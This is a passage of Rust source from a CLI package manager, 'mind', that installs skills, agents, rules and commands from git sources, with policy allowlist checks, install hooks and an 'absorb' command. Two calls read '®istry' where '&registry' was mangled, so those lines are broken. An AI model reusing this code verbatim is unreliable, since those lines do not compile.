let is_update = manifest.items.contains_key(target.key().as_str());
let result = install_item(
paths,
target,
&commit,
&siblings,
force,
dangerously_skip,
dangerously_skip_build,
is_update,
);
match result {
Ok(mut installed) => {
installed.dropped_requires = dropped_requires;
installed_keys.push(installed.key().into());
manifest.insert(installed);
}
Err(e) => {
failure = Some(e);
break;
}
}
}
manifest.save(paths)?;
match failure {
Some(e) => Err(e),
None => Ok(installed_keys),
}
}
pub fn install_source_items(paths: &Paths, source_name: &str, flow: InstallFlow) -> Result<()> {
let item_ref = format!("{source_name}#*");
let quoted_item_ref = crate::error::shell_quote(&item_ref);
let plan = match learn_preview(paths, &item_ref) {
Ok(plan) => plan,
Err(MindError::ItemNotFound { .. }) => return Ok(()),
Err(e) => return Err(e),
};
if plan.install_count == 0 {
return Ok(());
}
if flow.yes {
return learn(paths, &item_ref, false, flow);
}
if !crate::hook::is_tty() {
if !json_mode() {
println!(
"note: registered only, nothing installed (not a TTY); {source_name} has {} item(s) to install; run `mind learn {quoted_item_ref}` (or re-meld with --yes)",
plan.install_count
);
}
return Ok(());
}
learn(paths, &item_ref, true, flow)?;
if confirm_default_yes(&format!(
"install these {} item(s) now?",
plan.install_count
))? {
learn(paths, &item_ref, false, InstallFlow { yes: true, ..flow })
} else {
println!("skipped; run `mind learn {quoted_item_ref}` to install later");
Ok(())
}
}
pub fn note_learn_ignores_recursive(recursive: bool) {
if recursive && !json_mode() {
println!(
"note: --recursive ignored; --learn installs only the matching items of the source \
being melded, and does not walk the sources it curates. Meld again without --learn \
to install from them, or name them directly."
);
}
}
fn parse_learn_pattern(pattern: &str) -> Result<(crate::resolve::ItemRef, Option<glob::Pattern>)> {
let bad = |reason: &str| MindError::InvalidLearnPattern {
pattern: strip_ansi(pattern),
reason: reason.to_string(),
};
if pattern.trim().is_empty() {
return Err(bad("it is empty"));
}
if pattern.contains('#') {
return Err(bad(
"it selects within the source being melded, so pass just an item name or glob \
(e.g. 'review', 'skill:*'), not a source-qualified ref",
));
}
let parsed = crate::resolve::parse_item_ref(pattern)
.map_err(|_| bad("it is not a valid item name, 'kind:name', or glob"))?;
let matcher = if crate::resolve::is_glob(&parsed.name) {
Some(
glob::Pattern::new(&parsed.name)
.map_err(|e| bad(&format!("it is not a valid glob ({e})")))?,
)
} else {
None
};
Ok((parsed, matcher))
}
pub fn validate_learn_patterns(patterns: &[String]) -> Result<()> {
for pattern in patterns {
parse_learn_pattern(pattern)?;
}
Ok(())
}
fn learn_pattern_targets(
items: &[CatalogItem],
source_name: &str,
pattern: &str,
) -> Result<Vec<LearnTarget>> {
let (parsed, matcher) = parse_learn_pattern(pattern)?;
let hit = |it: &CatalogItem| -> bool {
if !parsed.kind.is_none_or(|k| it.kind == k) {
return false;
}
match &matcher {
Some(p) => p.matches(&it.effective_name()) || p.matches(&it.name),
None => it.effective_name() == parsed.name || it.name == parsed.name,
}
};
let mut targets: Vec<LearnTarget> = Vec::new();
for it in items
.iter()
.filter(|it| it.source == source_name && hit(it))
{
let t = LearnTarget {
source: source_name.to_string(),
key: it.key().as_str().to_string(),
};
if !targets.contains(&t) {
targets.push(t);
}
}
if targets.is_empty() {
return Err(MindError::LearnPatternNoMatch {
pattern: strip_ansi(pattern),
source_name: strip_ansi(source_name),
});
}
Ok(targets)
}
fn learn_targets(
paths: &Paths,
source_name: &str,
patterns: &[String],
) -> Result<(Vec<LearnTarget>, Vec<LearnTarget>)> {
let registry = Registry::load(paths)?;
let items = catalog::scan(paths, ®istry)?;
let mut targets: Vec<LearnTarget> = Vec::new();
for pattern in patterns {
for t in learn_pattern_targets(&items, source_name, pattern)? {
if !targets.contains(&t) {
targets.push(t);
}
}
}
let manifest = Manifest::load(paths)?;
let fresh: Vec<LearnTarget> = targets
.iter()
.filter(|t| !manifest.items.contains_key(&t.key))
.cloned()
.collect();
Ok((targets, fresh))
}
pub fn install_source_items_matching(
paths: &Paths,
source_name: &str,
patterns: &[String],
flow: InstallFlow,
) -> Result<()> {
let (matched, fresh) = learn_targets(paths, source_name, patterns)?;
if fresh.is_empty() {
if !json_mode() {
println!(
"already installed; nothing to do ({} item(s))",
matched.len()
);
}
return Ok(());
}
let quoted = fresh
.iter()
.map(|t| format!("mind learn {}", crate::error::shell_quote(&t.display())))
.collect::<Vec<_>>()
.join(" && ");
let install_all = |flow: InstallFlow| -> Result<()> {
for target in &fresh {
learn_exact(paths, target, false, flow)?;
}
Ok(())
};
if flow.yes {
return install_all(flow);
}
if !crate::hook::is_tty() {
if !json_mode() {
println!(
"note: registered only, nothing installed (not a TTY); {} item(s) match --learn; \
run `{quoted}` (or re-meld with --yes)",
fresh.len(),
);
}
return Ok(());
}
for target in &fresh {
learn_exact(paths, target, true, flow)?;
}
if confirm_default_yes(&format!("install these {} item(s) now?", fresh.len()))? {
install_all(InstallFlow { yes: true, ..flow })
} else {
println!("skipped; run `{quoted}` to install later");
Ok(())
}
}
pub(crate) fn install_source_items_matching_for_json(
paths: &Paths,
source_name: &str,
patterns: &[String],
flow: InstallFlow,
) -> Result<(Vec<String>, usize)> {
let (_matched, fresh) = learn_targets(paths, source_name, patterns)?;
if fresh.is_empty() {
return Ok((Vec::new(), 0));
}
if flow.yes {
let mut installed: Vec<String> = Vec::new();
for target in &fresh {
installed.extend(learn_collecting_exact(paths, target, flow)?);
}
return Ok((installed, 0));
}
let mut pending: BTreeSet<String> = BTreeSet::new();
for target in &fresh {
pending.extend(learn_plan(paths, Selection::Exact(target))?.keys);
}
Ok((Vec::new(), pending.len()))
}
pub fn install_source_items_subset(
paths: &Paths,
source_name: &str,
bare_refs: &[String],
flow: InstallFlow,
) -> Result<()> {
if bare_refs.is_empty() {
return Ok(());
}
let registry = Registry::load(paths)?;
let Some(source) = registry.find(source_name) else {
return Ok(());
};
let source_items = catalog::scan(paths, &single(source))?;
let subset: Vec<&CatalogItem> = select_by_bare_refs(&source_items, bare_refs);
if subset.is_empty() {
return Ok(());
}
let manifest = crate::manifest::Manifest::load(paths)?;
let installed_keys: std::collections::HashSet<String> =
manifest.items.keys().cloned().collect();
let to_install: Vec<&CatalogItem> = subset
.into_iter()
.filter(|it| !installed_keys.contains(it.key().as_str()))
.collect();
if to_install.is_empty() {
return Ok(());
}
let count = to_install.len();
let refs: Vec<String> = to_install
.iter()
.map(|it| format!("{source_name}#{}", it.key().as_str()))
.collect();
if flow.yes {
for item_ref in &refs {
learn(paths, item_ref, false, flow)?;
}
return Ok(());
}
if !crate::hook::is_tty() {
let ref_list = refs.join(", ");
if !json_mode() {
let ref_str = if refs.len() == 1 {
strip_ansi(&refs[0])
} else {
format!("{source_name}#*")
};
let quoted_ref = crate::error::shell_quote(&ref_str);
println!(
"note: registered only, nothing installed (not a TTY); {source_name} has {count} item(s) to install; run `mind learn {quoted_ref}` (or re-meld with --yes)"
);
let _ = ref_list; }
return Ok(());
}
for item_ref in &refs {
learn(paths, item_ref, true, flow)?;
}
if confirm_default_yes(&format!("install these {count} item(s) now?"))? {
for item_ref in &refs {
learn(paths, item_ref, false, InstallFlow { yes: true, ..flow })?;
}
} else {
let quoted_ref = crate::error::shell_quote(&format!("{source_name}#*"));
println!("skipped; run `mind learn {quoted_ref}` to install later");
}
Ok(())
}
pub fn install_provisioned_items(
paths: &Paths,
source_name: &str,
run_build_hooks: bool,
) -> (Vec<String>, Vec<(String, MindError)>) {
let flow = InstallFlow {
yes: true,
clobber: Clobber::Prompt,
dangerously_skip: false,
dangerously_skip_build: run_build_hooks,
};
let registry = match Registry::load(paths) {
Ok(r) => r,
Err(e) => return (vec![], vec![(source_name.to_string(), e)]),
};
let Some(source) = registry.find(source_name) else {
return (vec![], vec![]);
};
let source_items = match scan_one(paths, source) {
Ok(items) => items,
Err(e) => return (vec![], vec![(source_name.to_string(), e)]),
};
if source_items.is_empty() {
return (vec![], vec![]);
}
let manifest = match Manifest::load(paths) {
Ok(m) => m,
Err(e) => return (vec![], vec![(source_name.to_string(), e)]),
};
let installed: std::collections::HashSet<String> = manifest.items.keys().cloned().collect();
let json = json_mode();
let mut failures = Vec::new();
let mut installed_keys: Vec<String> = Vec::new();
for item in &source_items {
let key = item.key();
if installed.contains(key.as_str()) {
continue; }
let item_ref = format!("{source_name}#{}", key.as_str());
let outcome = if json {
learn_collecting(paths, &item_ref, flow).map(|keys| installed_keys.extend(keys))
} else {
learn(paths, &item_ref, false, flow)
};
if let Err(e) = outcome {
failures.push((key.display(), e));
}
}
(installed_keys, failures)
}
pub fn instance_name(repo: &str, alias: Option<&str>) -> Result<String> {
let mut source = parse_spec_quiet(repo)?;
source.apply_alias(alias.map(str::to_string));
Ok(source.name)
}
pub fn is_melded(paths: &Paths, repo: &str, alias: Option<&str>) -> Result<bool> {
let name = instance_name(repo, alias)?;
Ok(Registry::load(paths)?.find(&name).is_some())
}
#[allow(clippy::too_many_arguments)]
pub fn remeld(
paths: &Paths,
repo: &str,
alias: Option<String>,
link_only: bool,
flow: InstallFlow,
recursive: bool,
ignored_flags: &[&str],
pin: PinRequest,
learn_patterns: &[String],
) -> Result<()> {
let InstallFlow {
clobber,
dangerously_skip: dangerously_skip_hook_check,
..
} = flow;
let out = crate::render::ctx();
let source_name = instance_name(repo, alias.as_deref())?;
if !out.json {
println!("{} {source_name} is already melded", out.bullet());
if !ignored_flags.is_empty() {
let flags = ignored_flags.join(", ");
let plural = ignored_flags.len() != 1;
let quoted_source = crate::error::shell_quote(&source_name);
println!(
"note: {flags} ignored; {source_name} is already melded (re-melding \
does not change a source's discovery configuration). To apply \
{}, run `mind unmeld {quoted_source}` then `mind meld` again with {}.",
if plural { "them" } else { "it" },
if plural { "the flags" } else { "the flag" }
);
}
}
if pin != PinRequest::None {
repin_source(paths, &source_name, pin)?;
}
{
let mut registry = Registry::load(paths)?;
if let Some(idx) = registry.sources.iter().position(|s| s.name == source_name) {
let clone_dir = registry.sources[idx].clone_dir(paths);
let mindfile = MindToml::load(&clone_dir).unwrap_or_default();
let toml_path = clone_dir.join("mind.toml");
let force_rerun = clobber == Clobber::Force;
match run_install_hooks(
&mut registry.sources[idx],
&clone_dir,
&mindfile,
&toml_path,
None,
dangerously_skip_hook_check,
force_rerun,
Vec::new(),
) {
Ok(HookOutcome::Proceed) => registry.save(paths)?,
Ok(HookOutcome::Abort) => {
registry.save(paths)?; if !out.json {
println!("aborted; source left in place");
}
return Ok(());
}
Err(e) => {
registry.save(paths)?;
return Err(e); }
}
}
}
if !link_only {
if out.json {
let (installed, pending) = if learn_patterns.is_empty() {
let (mut inst, pend) = install_source_items_for_json(paths, &source_name, flow)?;
inst.extend(install_curated_sources_for_json(
paths,
&source_name,
recursive,
flow,
)?);
(inst, pend)
} else {
install_source_items_matching_for_json(paths, &source_name, learn_patterns, flow)?
};
let mut result = MutationResult::new("meld", &source_name, "already-melded");
result.installed = installed.iter().map(|k| strip_ansi(k)).collect();
if pending > 0 {
result.pending_items = Some(pending);
}
return print_json(&result);
}
if !learn_patterns.is_empty() {
note_learn_ignores_recursive(recursive);
install_source_items_matching(paths, &source_name, learn_patterns, flow)?;
return source_status(paths, &source_name);
}
let item_ref = format!("{source_name}#*");
let to_install = match learn_preview(paths, &item_ref) {
Ok(plan) => plan.install_count,
Err(MindError::ItemNotFound { .. }) => 0,
Err(e) => return Err(e),
};
if to_install > 0 {
install_source_items(paths, &source_name, flow)?;
install_curated_sources(paths, &source_name, recursive, flow)?;
return Ok(());
}
install_curated_sources(paths, &source_name, recursive, flow)?;
if recursive {
return Ok(());
}
}
if out.json {
return print_json(&MutationResult::new("meld", &source_name, "already-melded"));
}
source_status(paths, &source_name)
}
fn repin_source(paths: &Paths, source_name: &str, pin: PinRequest) -> Result<()> {
let out = crate::render::ctx();
let policy = Policy::load()?;
let mut registry = Registry::load(paths)?;
let Some(source) = registry.find(source_name) else {
return Ok(());
};
if let Some(policy) = policy.as_ref() {
let identity = source.base_identity();
let allowed = policy.allow_matches(&identity);
if policy.lock() && !allowed {
if let Some(path) = effective_policy_path() {
eprintln!("hint: managed policy at {path}");
}
return Err(MindError::SourceNotAllowed { identity });
}
if !policy.lock() && !allowed {
eprintln!(
"warning: source '{identity}' is not in the managed policy's allowlist (advisory; not enforced because [sources].lock is false)"
);
}
}
let old_pin = source.pin.clone();
let old_commit = source.commit.clone();
let url = source.url.clone();
let is_local = source.is_local();
let (checkout_pin, freeze) = resolve_checkout_pin(pin, old_pin.clone());
let persisted_unpinned =
!freeze && matches!(checkout_pin, Pin::DefaultBranch | Pin::FollowBranch(_));
if let Some(policy) = policy.as_ref()
&& policy.pinned()
&& persisted_unpinned
{
return Err(MindError::UnpinnedSourceForbidden {
identity: source_name.to_string(),
});
}
let mut probe = source.clone();
if is_local {
probe.pin = Pin::Ref(String::new());
}
let target = clone_dir_checked(paths, &probe)?;
if target.join(".git").is_dir() {
git::sync_to_pin(&url, &target, &checkout_pin)?;
} else {
if target.exists() {
std::fs::remove_dir_all(&target).map_err(|e| MindError::io(&target, e))?;
}
if let Some(parent) = target.parent() {
crate::paths::mkdir_p(parent)?;
}
if let Err(e) = git::clone_at(&url, &target, &checkout_pin) {
let _ = std::fs::remove_dir_all(&target);
return Err(e);
}
}
let resolved_commit = git::head_commit(&url, &target)?;
let final_pin = if freeze {
Pin::Ref(resolved_commit.clone())
} else {
checkout_pin
};
let changed = old_pin != final_pin || old_commit.as_deref() != Some(resolved_commit.as_str());
let Some(source) = registry.sources.iter_mut().find(|s| s.name == source_name) else {
return Ok(());
};
source.pin = final_pin.clone();
source.commit = Some(resolved_commit);
source.description = MindToml::load(&target)?
.and_then(|m| m.source.description)
.map(|d| strip_ansi(&d));
registry.save(paths)?;
if !out.json {
if changed {
println!(
"{} re-pinned {source_name} {} -> {}",
out.ok(),
pin_description(&old_pin),
pin_description(&final_pin),
);
} else {
println!(
"{} {source_name} already pinned to {}",
out.bullet(),
pin_description(&final_pin),
);
}
}
Ok(())
}
pub fn install_curated_sources(
paths: &Paths,
super_name: &str,
all: bool,
flow: InstallFlow,
) -> Result<()> {
let registry = Registry::load(paths)?;
let mut visited: HashSet<String> = HashSet::from([super_name.to_string()]);
let mut queue: Vec<String> = vec![super_name.to_string()];
while let Some(name) = queue.pop() {
let Some(source) = registry.find(&name) else {
continue;
};
if source.item_path.is_some() {
continue;
}
let nested = MindToml::load(&source.clone_dir(paths))?
.and_then(|m| m.discover)
.map(|d| d.sources)
.unwrap_or_default();
for ns in nested {
let Ok(mut spec) = parse_spec_quiet(&ns.source) else {
continue;
};
spec.apply_alias(ns.effective_alias());
if !visited.insert(spec.name.clone()) {
continue; }
if registry.find(&spec.name).is_some() {
if all {
install_source_items(paths, &spec.name, flow)?;
} else if let Some(refs) = &ns.install_items {
install_source_items_subset(paths, &spec.name, refs, flow)?;
} else if ns.install {
install_source_items(paths, &spec.name, flow)?;
}
queue.push(spec.name);
}
}
for (spec, in_repo) in marketplace_subsources(paths, source)? {
if !visited.insert(spec.name.clone()) {
continue;
}
if registry.find(&spec.name).is_some() {
if all || in_repo {
install_source_items(paths, &spec.name, flow)?;
}
queue.push(spec.name);
}
}
}
Ok(())
}
fn marketplace_subsources(
paths: &Paths,
source: &crate::source::Source,
) -> Result<Vec<(crate::source::Source, bool)>> {
let clone = source.clone_dir(paths);
if MindToml::load(&clone)?.is_some_and(|m| m.is_authoritative()) {
return Ok(Vec::new());
}
let Some(mp) = plugin_manifest::find_marketplace_manifest(&clone) else {
return Ok(Vec::new());
};
let mut out = Vec::new();
for entry in plugin_manifest::load_marketplace_manifest(&mp)?.into_entries() {
let in_repo = matches!(entry.source, plugin_manifest::PluginSource::InRepo { .. });
if let Ok(mut spec) = parse_spec_quiet(&marketplace_entry_spec(&entry, &clone)) {
spec.apply_alias(Some(entry.name.clone()));
out.push((spec, in_repo));
}
}
Ok(out)
}
pub(crate) fn install_source_items_for_json(
paths: &Paths,
source_name: &str,
flow: InstallFlow,
) -> Result<(Vec<String>, usize)> {
let item_ref = format!("{source_name}#*");
let plan = match learn_preview(paths, &item_ref) {
Ok(plan) => plan,
Err(MindError::ItemNotFound { .. }) => return Ok((vec![], 0)),
Err(e) => return Err(e),
};
if plan.install_count == 0 {
return Ok((vec![], 0));
}
if flow.yes {
let keys = learn_collecting(paths, &item_ref, flow)?;
return Ok((keys, 0));
}
Ok((vec![], plan.install_count))
}
pub(crate) fn install_curated_sources_for_json(
paths: &Paths,
super_name: &str,
all: bool,
flow: InstallFlow,
) -> Result<Vec<String>> {
let registry = Registry::load(paths)?;
let mut visited: HashSet<String> = HashSet::from([super_name.to_string()]);
let mut queue: Vec<String> = vec![super_name.to_string()];
let mut all_keys: Vec<String> = Vec::new();
while let Some(name) = queue.pop() {
let Some(source) = registry.find(&name) else {
continue;
};
if source.item_path.is_some() {
continue;
}
let nested = MindToml::load(&source.clone_dir(paths))?
.and_then(|m| m.discover)
.map(|d| d.sources)
.unwrap_or_default();
for ns in nested {
let Ok(mut spec) = parse_spec_quiet(&ns.source) else {
continue;
};
spec.apply_alias(ns.effective_alias());
if !visited.insert(spec.name.clone()) {
continue;
}
if registry.find(&spec.name).is_some() {
if all {
let (keys, _) = install_source_items_for_json(paths, &spec.name, flow)?;
all_keys.extend(keys);
} else if let Some(refs) = &ns.install_items {
if !refs.is_empty() && flow.yes {
for item_ref in refs {
let qualified = format!("{}#{}", spec.name, item_ref);
let keys = learn_collecting(paths, &qualified, flow)?;
all_keys.extend(keys);
}
}
} else if ns.install {
let (keys, _) = install_source_items_for_json(paths, &spec.name, flow)?;
all_keys.extend(keys);
}
queue.push(spec.name);
}
}
for (spec, in_repo) in marketplace_subsources(paths, source)? {
if !visited.insert(spec.name.clone()) {
continue;
}
if registry.find(&spec.name).is_some() {
if all || in_repo {
let (keys, _) = install_source_items_for_json(paths, &spec.name, flow)?;
all_keys.extend(keys);
}
queue.push(spec.name);
}
}
}
Ok(all_keys)
}
pub(crate) fn emit_meld_json_result(
summary: MeldSummary,
installed: Vec<String>,
pending: usize,
) -> Result<()> {
let mut result = MutationResult::new("meld", &summary.source_name, "melded");
result.count = Some(summary.added);
result.skipped = summary.skipped;
result.installed = installed.iter().map(|k| strip_ansi(k)).collect();
if pending > 0 {
result.pending_items = Some(pending);
}
print_json(&result)
}
fn source_status(paths: &Paths, source_name: &str) -> Result<()> {
let out = crate::render::ctx();
let registry = Registry::load(paths)?;
let Some(source) = registry.find(source_name) else {
return Err(MindError::SourceNotFound {
name: source_name.to_string(),
});
};
let items = scan_one(paths, source)?;
let manifest = Manifest::load(paths)?;
let head = source
.commit
.as_deref()
.map(short)
.unwrap_or_else(|| "?".to_string());
println!(
"{} {source_name}: {} item(s) (source @ {head})",
out.bullet(),
items.len()
);
for it in &items {
let installed = manifest
.items
.values()
.find(|m| m.source == it.source && m.kind == it.kind && m.bare_name == it.name);
match installed {
Some(m) => {
let hash_lag = it.content_hash().map_or(true, |h| h != m.hash);
let rename_lag = it.effective_name() != m.name;
let stale = hash_lag || rename_lag;
let lag = if stale {
out.yellow(" (outdated; run `mind upgrade`)")
} else {
String::new()
};
let marker = if stale { out.stale() } else { out.ok() };
println!(
" {} {} installed @ {}{}",
marker,
it.display_key(),
out.green(&short(&m.commit)),
lag
);
}
None => println!(
" {} {} not installed (run `mind learn {}`)",
out.available(),
it.display_key(),
crate::error::shell_quote(&it.display_key())
),
}
}
Ok(())
}
pub fn set_source_namespace(
paths: &Paths,
source_name: &str,
new_alias: Option<String>,
) -> Result<()> {
if let Some(ref a) = new_alias {
crate::namespace::validate_prefix(a)?;
}
let mut registry = Registry::load(paths)?;
let Some(source) = registry.sources.iter_mut().find(|s| s.name == source_name) else {
return Ok(()); };
let current = source.alias.clone().unwrap_or_default();
let requested = new_alias.clone().unwrap_or_default();
if current == requested {
return Ok(()); }
let manifest = Manifest::load(paths)?;
let installed_names: Vec<String> = manifest
.items
.values()
.filter(|it| it.source == source_name)
.map(|it| it.key().display())
.collect();
if !installed_names.is_empty() {
return Err(MindError::NamespaceLocked {
src_name: source_name.to_string(),
items: installed_names,
});
}
source.alias = new_alias;
registry.save(paths)
}
fn colliding_install(targets: &[&CatalogItem]) -> Option<(String, Vec<String>)> {
let mut by_key: std::collections::BTreeMap<String, Vec<String>> = Default::default();
for t in targets {
by_key
.entry(t.key().as_str().to_string())
.or_default()
.push(t.source.clone());
}
by_key
.into_iter()
.find(|(_, sources)| sources.len() > 1)
.map(|(key, sources)| {
(
crate::sanitize::strip_ansi(&key),
sources
.iter()
.map(|s| crate::sanitize::strip_ansi(s))
.collect(),
)
})
}
#[allow(clippy::too_many_arguments)]
fn install_item(
paths: &Paths,
item: &CatalogItem,
commit: &str,
siblings: &[CatalogItem],
force: bool,
dangerously_skip: bool,
dangerously_skip_build: bool,
is_update: bool,
) -> Result<crate::manifest::InstalledItem> {
require_link_platform(paths)?;
let mut installed =
install::install(paths, item, commit, siblings, force, dangerously_skip_build)?;
let install_hooks = item.install_time_hooks(is_update);
if !install_hooks.is_empty() {
let store = paths.mind_home.join(&installed.store);
match install::run_item_install_hooks(
item,
&install_hooks,
&store,
commit,
dangerously_skip,
) {
Ok(recorded) => installed.install_hooks = recorded,
Err(e) => {
let _ = install::uninstall(paths, &installed);
return Err(e);
}
}
}
Ok(installed)
}
fn uninstall_item(
paths: &Paths,
item: &crate::manifest::InstalledItem,
uninstall_hooks: &[&crate::mindfile::ResolvedHook],
commit: &str,
dangerously_skip: bool,
) -> Result<()> {
if !uninstall_hooks.is_empty() {
let store = paths.mind_home.join(&item.store);
if store.exists() {
install::run_item_uninstall_hooks(
item,
uninstall_hooks,
&store,
commit,
dangerously_skip,
)?;
}
}
install::uninstall(paths, item)
}
fn item_catalog_match<'a>(
catalog: &'a [CatalogItem],
item: &crate::manifest::InstalledItem,
) -> Option<&'a CatalogItem> {
catalog
.iter()
.find(|c| c.kind == item.kind && c.name == item.bare_name && c.source == item.source)
}
fn convention_path_in_root(
root: &std::path::Path,
kind: ItemKind,
name: &str,
) -> std::path::PathBuf {
match kind {
ItemKind::Skill => root.join("skills").join(name),
ItemKind::Agent => root.join("agents").join(format!("{name}.md")),
ItemKind::Rule => root.join("rules").join(format!("{name}.md")),
ItemKind::Command => root.join("commands").join(format!("{name}.md")),
ItemKind::Tool => panic!("tools are never unmanaged; absorb should not reach this"),
}
}
fn first_scan_root(dest_path: &std::path::Path) -> Result<std::path::PathBuf> {
let mindfile = crate::mindfile::MindToml::load(dest_path).unwrap_or_default();
let root_rel = mindfile
.as_ref()
.and_then(|m| m.source.roots.as_ref())
.and_then(|r| r.first())
.map(String::as_str)
.unwrap_or(".");
let candidate = dest_path.join(root_rel);
let canon_dest = std::fs::canonicalize(dest_path).unwrap_or_else(|_| dest_path.to_path_buf());
let canon_root =
std::fs::canonicalize(&candidate).unwrap_or_else(|_| normalize_path(&candidate));
if !canon_root.starts_with(&canon_dest) {
return Err(MindError::InvalidRoot {
source_name: dest_path.to_string_lossy().into_owned(),
root: root_rel.to_string(),
});
}
Ok(candidate)
}
fn normalize_path(path: &std::path::Path) -> std::path::PathBuf {
use std::path::Component;
let mut components: Vec<&std::ffi::OsStr> = Vec::new();
for comp in path.components() {
match comp {
Component::ParentDir => {
if components
.last()
.is_some_and(|c| *c != std::ffi::OsStr::new("/"))
{
components.pop();
}
}
Component::CurDir => {
}
_ => {
components.push(comp.as_os_str());
}
}
}
components.iter().collect()
}
fn dest_source_prefix(dest_path: &std::path::Path, registry: &Registry) -> Option<String> {
if let Ok(spec) = parse_spec(&dest_path.to_string_lossy())
&& let Some(src) = registry.find(&spec.name)
&& let Some(alias) = src.alias.as_deref().filter(|a| !a.is_empty())
{
return Some(alias.to_string());
}
let mindfile = crate::mindfile::MindToml::load(dest_path).unwrap_or_default();
mindfile
.as_ref()
.and_then(|m| m.source.prefix.clone())
.filter(|p| !p.is_empty())
}
fn absorb_effective_key(kind: ItemKind, effective_name: &str) -> String {
format!("{}:{}", kind.as_str(), strip_ansi(effective_name))
}
pub fn absorb(
paths: &Paths,
item_ref_str: &str,
to: Option<String>,
force: bool,
yes: bool,
) -> Result<()> {
let out = crate::render::ctx();
let parsed = parse_item_ref(item_ref_str)?;
if is_glob(&parsed.name) {
return Err(MindError::InvalidItemRef {
name: item_ref_str.to_string(),
});
}
let manifest = Manifest::load(paths)?;
let unmanaged_items = crate::unmanaged::scan(paths, &manifest)?;
let item = crate::unmanaged::resolve(&unmanaged_items, &parsed)?;
if item.kind == ItemKind::Tool {
return Err(MindError::InvalidItemRef {
name: item_ref_str.to_string(),
});
}
let (dest_path, interactive_dest) = resolve_absorb_dest(paths, to, yes)?;
if !crate::git::is_repo(&dest_path) {
return Err(MindError::DestinationNotRepo {
path: dest_path.to_string_lossy().into_owned(),
});
}
if interactive_dest {
offer_save_absorb_to(paths, &dest_path, yes)?;
}
let scan_root = first_scan_root(&dest_path)?;
let dest_item_path = convention_path_in_root(&scan_root, item.kind, &item.name);
if dest_item_path.exists() && !force {
return Err(MindError::AbsorbCollision {
kind: item.kind.as_str().to_string(),
name: item.name.clone(),
dest_path: dest_item_path.to_string_lossy().into_owned(),
});
}
let source_lobe_path = item
.paths
.first()
.ok_or_else(|| MindError::NotInstalled {
name: item.key().into(),
})?
.clone();
let stray_paths: Vec<&std::path::PathBuf> = item.paths.iter().skip(1).collect();
if !yes {
if !out.json {
println!("absorb will:");
println!(
" move {} -> {}",
display_path(&source_lobe_path),
display_path(&dest_item_path)
);
for stray in &stray_paths {
println!(" delete (stray copy) {}", display_path(stray));
}
}
if !crate::hook::is_tty() || out.json {
return Err(MindError::ConfirmationRequired {
action: json_confirmation_action(
format!("absorbing {}", item.display_key()),
out.json,
),
});
}
if !confirm("proceed with absorb?")? {
println!("cancelled; nothing changed");
return Ok(());
}
}
if let Some(parent) = dest_item_path.parent() {
std::fs::create_dir_all(parent).map_err(|e| MindError::io(parent, e))?;
}
if dest_item_path.exists() {
crate::install::remove_path(&dest_item_path)?;
}
copy_path_recursive(&source_lobe_path, &dest_item_path)?;
let commit_msg = format!("absorb {}:{}", item.kind.as_str(), item.name);
let git_err = (|| {
crate::git::add_all(&dest_path)?;
crate::git::commit(&dest_path, &commit_msg)
})();
if let Err(e) = git_err {
let _ = crate::install::remove_path(&dest_item_path);
return Err(e);
}
let dest_spec = dest_path.to_string_lossy().into_owned();
let freshly_melded = !is_melded(paths, &dest_spec, None)?;
if freshly_melded {
let meld_err = meld(
paths,
&dest_spec,
None,
vec![],
vec![],
false,
PinRequest::None,
None,
false,
);
if let Err(e) = meld_err {
let _ = crate::install::remove_path(&dest_item_path);
return Err(e);
}
}
let backup = paths
.tmp_dir()
.join("absorb-backup")
.join(item.kind.as_str())
.join(&item.name);
let _ = crate::install::remove_path(&backup);
if let Some(p) = backup.parent() {
std::fs::create_dir_all(p).map_err(|e| MindError::io(p, e))?;
}
copy_path_recursive(&source_lobe_path, &backup)?;
if let Err(e) = crate::install::remove_path(&source_lobe_path) {
let _ = crate::install::remove_path(&backup);
return Err(e);
}
let registry_for_prefix = Registry::load(paths)?;
let effective_prefix = dest_source_prefix(&dest_path, ®istry_for_prefix);
let effective_name = crate::namespace::apply(&item.name, &effective_prefix);
let effective_key = absorb_effective_key(item.kind, &effective_name);
let dest_source_name = parse_spec(&dest_spec)
.map(|s| s.name)
.unwrap_or_else(|_| dest_spec.clone());
let learn_ref = format!("{}:{}", item.kind.as_str(), effective_name);
let qualified_ref = format!("{dest_source_name}#{learn_ref}");
let learn_flow = InstallFlow {
yes: true, clobber: Clobber::Force, dangerously_skip: false,
dangerously_skip_build: false,
};
let learn_err: Result<()> = if out.json {
learn_collecting(paths, &qualified_ref, learn_flow).map(|_| ())
} else {
learn(paths, &qualified_ref, false, learn_flow)
};
if let Err(e) = learn_err {
if let Some(parent) = source_lobe_path.parent() {
let _ = std::fs::create_dir_all(parent);
}
let _ = copy_path_recursive(&backup, &source_lobe_path);
let _ = crate::install::remove_path(&backup);
if freshly_melded {
let _ = unmeld_one(paths, &dest_source_name, false, true, false, None);
}
crate::render::warn(format!(
"absorb left commit '{}' in {}; remove it with git if unwanted",
strip_ansi(&commit_msg),
display_path(&dest_path)
));
return Err(e);
}
let _ = crate::install::remove_path(&backup);
if out.json {
let mut result = MutationResult::new("absorb", item_ref_str, "absorbed");
result.key = Some(effective_key);
return print_json(&result);
}
println!(
"{} absorbed {} -> managed as {effective_key}",
out.ok(),
item.key().display()
);
Ok(())
}
fn resolve_absorb_dest(
paths: &Paths,
to_flag: Option<String>,
yes: bool,
) -> Result<(std::path::PathBuf, bool)> {
if let Some(p) = to_flag {
let path = expand_tilde(&p);
return Ok((path, false));
}
if let Some(p) = std::env::var_os("MIND_ABSORB_TO") {
let path = expand_tilde(&p.to_string_lossy());
return Ok((path, false));
}
let config = Config::load(paths)?;
if let Some(p) = config.absorb_to {
let path = expand_tilde(&p);
return Ok((path, false));
}
if !crate::hook::is_tty() {
return Err(MindError::ConfirmationRequired {
action: "absorb (no destination configured; re-run with --to <path>)".to_string(),
});
}
let personal = paths.mind_home.join("personal");
let personal_str = personal.to_string_lossy();
let chosen = if yes {
personal.clone()
} else {
println!("No absorb destination configured.");
println!("Enter a path, or press Enter to use the built-in: {personal_str}");
print!("> ");
let _ = std::io::stdout().flush();
let mut line = String::new();
std::io::stdin()
.read_line(&mut line)
.map_err(|e| MindError::io("<stdin>", e))?;
let trimmed = line.trim();
if trimmed.is_empty() {
personal.clone()
} else {
expand_tilde(trimmed)
}
};
if chosen == personal && !personal.exists() {
if !out_ctx().json {
println!(
"Creating {} and initializing git repository",
personal.display()
);
}
crate::git::git_init(&personal)?;
}
Ok((chosen, true))
}
fn offer_save_absorb_to(paths: &Paths, dest: &std::path::Path, yes: bool) -> Result<()> {
if yes {
let mut config = Config::load(paths)?;
